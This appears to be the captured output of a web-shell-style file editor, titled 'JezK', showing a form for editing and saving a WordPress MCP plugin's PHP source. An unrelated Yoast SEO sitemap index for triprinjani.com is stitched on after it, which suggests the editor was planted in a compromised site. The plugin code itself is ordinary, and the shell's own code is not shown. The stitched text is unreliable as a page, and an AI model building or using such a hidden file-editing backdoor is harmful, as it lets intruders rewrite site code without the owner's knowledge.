
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: wordpress-mcp.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Plugin name:       WordPress MCP
 * Description:       A plugin to integrate WordPress with Model Context Protocol (MCP), providing AI-accessible interfaces to WordPress data and functionality through standardized tools, resources, and prompts. Enables AI assistants to interact with posts, users, site settings, and WooCommerce data.
 * Version:           0.2.4
 * Requires at least: 6.4
 * Requires PHP:      8.0
 * Author:            Automattic AI, Ovidiu Galatan &lt;ovidiu.galatan@a8c.com&gt;
 * Author URI:        https://automattic.com
 * License:           GPL-2.0-or-later
 * License URI:       https://spdx.org/licenses/GPL-2.0-or-later.html
 * Text Domain:       wordpress-mcp
 * Domain Path:       /languages
 *
 * @package WordPress MCP
 */

declare(strict_types=1);

use Automattic\WordpressMcp\Core\McpStreamableTransport;
use Automattic\WordpressMcp\Core\WpMcp;
use Automattic\WordpressMcp\Core\McpStdioTransport;
use Automattic\WordpressMcp\Admin\Settings;
use Automattic\WordpressMcp\Auth\JwtAuth;

define( &#039;WORDPRESS_MCP_VERSION&#039;, &#039;0.2.4&#039; );
define( &#039;WORDPRESS_MCP_PATH&#039;, plugin_dir_path( __FILE__ ) );
define( &#039;WORDPRESS_MCP_URL&#039;, plugin_dir_url( __FILE__ ) );

// Check if Composer autoloader exists.
if ( ! file_exists( WORDPRESS_MCP_PATH . &#039;vendor/autoload.php&#039; ) ) {
	wp_die(
		sprintf(
			&#039;Please run &lt;code&gt;composer install&lt;/code&gt; in the plugin directory: &lt;code&gt;%s&lt;/code&gt;&#039;,
			esc_html( WORDPRESS_MCP_PATH )
		)
	);
}

require_once WORDPRESS_MCP_PATH . &#039;vendor/autoload.php&#039;;

/**
 * Get the WordPress MCP instance.
 *
 * @return WpMcp
 */
function WPMCP() { // phpcs:ignore
	return WpMcp::instance();
}

/**
 * Initialize the plugin.
 */
function init_wordpress_mcp() {
	$mcp = WPMCP();

	// Initialize the STDIO transport.
	new McpStdioTransport( $mcp );

	// Initialize the Streamable transport.
	new McpStreamableTransport( $mcp );

	// Initialize the settings page.
	new Settings();

	// Initialize the JWT authentication.
	new JwtAuth();
}

// Initialize the plugin on plugins_loaded to ensure all dependencies are available.
add_action( &#039;plugins_loaded&#039;, &#039;init_wordpress_mcp&#039; );
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//triprinjani.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://triprinjani.com/post-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/page-sitemap.xml</loc>
		<lastmod>2026-09-25T16:40:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/activity-sitemap.xml</loc>
		<lastmod>2026-09-14T14:27:43+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/category-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-01T04:49:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/author-sitemap.xml</loc>
		<lastmod>2026-05-11T10:02:51+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->